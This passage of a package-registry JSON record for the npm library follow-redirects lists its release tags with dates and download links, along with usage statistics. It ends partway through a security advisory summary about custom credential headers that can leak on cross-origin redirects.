13.2","sha":"41b0f8f1463a4ce813b73792cc183c4799a6e540","kind":"tag","published_at":"2021-01-25T20:29:50.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.13.2","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.2/manifests"},{"name":"v1.13.1","sha":"db771b18552b9f7663fd28be86597ec753b360ed","kind":"tag","published_at":"2020-12-13T16:04:30.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.13.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.1/manifests"},{"name":"v1.13.0","sha":"b2f2ea52edb4d5949751e2467d9e6d42ca24c8d0","kind":"tag","published_at":"2020-08-10T11:34:46.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.13.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.13.0/manifests"},{"name":"v1.12.1","sha":"aa6ce01c8145b1f968031c663d9aa87a692cfca7","kind":"tag","published_at":"2020-06-18T22:33:52.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.12.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.12.1/manifests"},{"name":"v1.12.0","sha":"b774a77e582b97174813b3eaeb86931becba69db","kind":"tag","published_at":"2020-06-16T19:45:07.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.12.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.12.0/manifests"},{"name":"v1.11.0","sha":"0de31a8a0afbb859eca1b522fb3306121ba7c0a4","kind":"tag","published_at":"2020-03-29T10:51:33.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.11.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.11.0/manifests"},{"name":"v1.10.0","sha":"670c3a7b38e0707a22d111fa766b4e82d277ec41","kind":"tag","published_at":"2020-01-26T23:33:53.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.10.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.10.0/manifests"},{"name":"v1.9.1","sha":"9df47ad6d7aa4c54fe293ce5ef9637650ce9c460","kind":"tag","published_at":"2020-01-25T23:43:54.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.9.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.9.1/manifests"},{"name":"v1.9.0","sha":"2215c54e527663cf39b2c4e8c6dd862207390824","kind":"tag","published_at":"2019-09-06T13:11:38.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.9.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.9.0/manifests"},{"name":"v1.8.1","sha":"5e38b2279e21086952aaa8590e0d83adf9c028f9","kind":"tag","published_at":"2019-08-27T17:31:26.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.8.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.8.1/manifests"},{"name":"v1.8.0","sha":"b7a8216d3014dd82a605bd36e8756cd40936878c","kind":"tag","published_at":"2019-08-27T11:05:35.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.8.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.8.0/manifests"},{"name":"v1.7.0","sha":"301e0b45122faeb8fad8b887b6c73ef36538d628","kind":"tag","published_at":"2019-02-13T21:23:39.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.7.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.7.0/manifests"},{"name":"v1.6.1","sha":"0cbcaac65e5c0fdff425af75939d0e92f54cfe73","kind":"tag","published_at":"2019-01-03T10:02:59.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.6.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"10476676a84c9f1e44b93e4ca28a1dbf7145e673","kind":"tag","published_at":"2018-12-25T22:21:21.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.6.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.6.0/manifests"},{"name":"v1.5.10","sha":"91842752013b26ed780f7b04e557c72f02228cde","kind":"tag","published_at":"2018-11-19T21:18:25.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.10","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.10/manifests"},{"name":"v1.5.9","sha":"90a52f7c9bc084c20ae167d7fcd0ede4770f582e","kind":"tag","published_at":"2018-10-09T15:37:40.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.9","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.9/manifests"},{"name":"v1.5.8","sha":"0a75768c122cf693dddfa85fd218f35c29bfe81e","kind":"tag","published_at":"2018-09-11T19:25:27.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.8","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.8/manifests"},{"name":"v1.5.7","sha":"7fd6bf3a56cd1632d2171d7e11d3386e1bccb949","kind":"tag","published_at":"2018-08-22T17:38:34.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.7","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.7/manifests"},{"name":"v1.5.6","sha":"7d4a56aa9d33dc91895f75ada95d725b6ab98083","kind":"tag","published_at":"2018-08-21T01:38:25.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.6","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.6/manifests"},{"name":"v1.5.5","sha":"de80dec9d8e7a1d99a242e357e653039b96bae9e","kind":"tag","published_at":"2018-08-13T16:53:31.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.5","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.5/manifests"},{"name":"v1.5.4","sha":"6dc19f9f17e087c979c44d91215c445dd34d8a20","kind":"tag","published_at":"2018-08-13T13:14:08.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.4","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.4/manifests"},{"name":"v1.5.3","sha":"20c5169d1a6dc76ab78c69ccd78d2d884cd16a27","kind":"tag","published_at":"2018-08-13T10:44:22.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.3","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"4d328f0ef3e07575b7e5b950f9dcc521906104b2","kind":"tag","published_at":"2018-08-01T18:28:12.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.2","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"6a74f5480e2bc0f93d03577865e371a4817ceae2","kind":"tag","published_at":"2018-07-05T20:35:58.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"23f66feabb9eb22e3b251251b5935725fb1845bf","kind":"tag","published_at":"2018-05-19T16:11:45.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.5.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"1b6340f83ad5596a0a38c16a7113692bd90301f2","kind":"tag","published_at":"2018-01-24T00:36:47.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.4.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"8faff2e73cf2a760f1e9d87bc193209042ac5364","kind":"tag","published_at":"2018-01-21T21:51:32.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.4.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"dc709643b367ba1fd8039a83431f844ea8f03b64","kind":"tag","published_at":"2018-01-05T18:52:19.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.3.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.3.0/manifests"},{"name":"v1.2.6","sha":"99bd703a765992a260f07e1a2721005fa8b7501d","kind":"tag","published_at":"2017-11-22T10:34:34.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.2.6","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.6/manifests"},{"name":"v1.2.5","sha":"be81edd4dd413bd8f7f12344809b982df888e061","kind":"tag","published_at":"2017-10-05T16:59:31.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.2.5","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.5/manifests"},{"name":"v1.2.4","sha":"c3770de92eb2898ccc638f269a1046919329bd81","kind":"tag","published_at":"2017-06-21T19:37:18.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.2.4","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.4/manifests"},{"name":"v1.2.3","sha":"ad35f4c9ab0c3fbf23c8486ba5e241d08d6b39b4","kind":"tag","published_at":"2017-03-10T16:49:31.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.2.3","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"f6e923e03ff734319bb0dbbfe50112ed4518aa7a","kind":"tag","published_at":"2017-03-09T21:48:15.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.2.2","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.2/manifests"},{"name":"v1.2.1","sha":"a3cca068fbc3ea7377f8aaf658982f997c1c6dd3","kind":"tag","published_at":"2016-12-18T12:50:13.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.2.1","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.1/manifests"},{"name":"v1.2.0","sha":"7dd0cb2a92cf04c8e95432c341a3ec881abeff41","kind":"tag","published_at":"2016-12-07T21:48:55.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.2.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.2.0/manifests"},{"name":"v1.1.0","sha":"6626d432f0e6a9919dab492bce484e3d9f4657e4","kind":"tag","published_at":"2016-11-06T16:36:30.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.1.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"4010b44f4715c89dd75037f66458b93fd59599a1","kind":"tag","published_at":"2016-10-23T16:07:55.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v1.0.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v1.0.0/manifests"},{"name":"v0.3.0","sha":"3a3f8b040b32098606630278176e2dc54cf29723","kind":"tag","published_at":"2016-10-20T15:46:37.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v0.3.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"9a13ff409ce5b05463ee0785cb4c048c21800561","kind":"tag","published_at":"2016-06-06T21:59:59.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v0.2.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.2.0/manifests"},{"name":"v0.1.0","sha":"20537d21a1e4eb9371a0c2d74cff5a041ee2e22a","kind":"tag","published_at":"2016-04-10T19:30:01.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v0.1.0","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.1.0/manifests"},{"name":"v0.0.7","sha":"5137f3958a179f0bf9310886edb77efd3b85a208","kind":"tag","published_at":"2015-09-10T01:41:10.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v0.0.7","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v0.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v0.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.0.7/manifests"},{"name":"v0.0.6","sha":"795bae039c7a756dbed9ce7c4a45cf2d2ed7dd83","kind":"commit","published_at":"2015-07-04T13:25:32.000Z","download_url":"https://codeload.github.com/follow-redirects/follow-redirects/tar.gz/v0.0.6","html_url":"https://github.com/follow-redirects/follow-redirects/releases/tag/v0.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/follow-redirects/follow-redirects@v0.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/follow-redirects%2Ffollow-redirects/tags/v0.0.6/manifests"}]},"repo_metadata_updated_at":"2026-11-01T09:49:32.505Z","dependent_packages_count":1670,"downloads":424893001,"downloads_period":"last-month","dependent_repos_count":2023308,"rankings":{"downloads":0.0060509418112960405,"dependent_repos_count":0.015305323405042927,"dependent_packages_count":0.04558741228872357,"stargazers_count":2.9951614369371393,"forks_count":2.5287734604049366,"docker_downloads_count":0.01538746288664423,"average":0.9343776729556305},"purl":"pkg:npm/follow-redirects","advisories":[{"uuid":"GSA_kwCzR0hTQS1tcndwLWYzcTgtM2c5cM4ACAK0","url":"https://github.com/advisories/GHSA-mrwp-f3q8-3g9p","title":"follow-redirects: Cross-realm sensitiveHeaders arrays are discarded and custom credentials can follow redirects","description":"### Summary\n\nfollow-redirects 1.16.0 and 1.16.1 validate the documented sensitiveHeaders option with instanceof Array. An array created in another JavaScript realm is silently replaced with an empty list, so a caller-declared custom credential header can be forwarded to an attacker-controlled cross-origin redirect 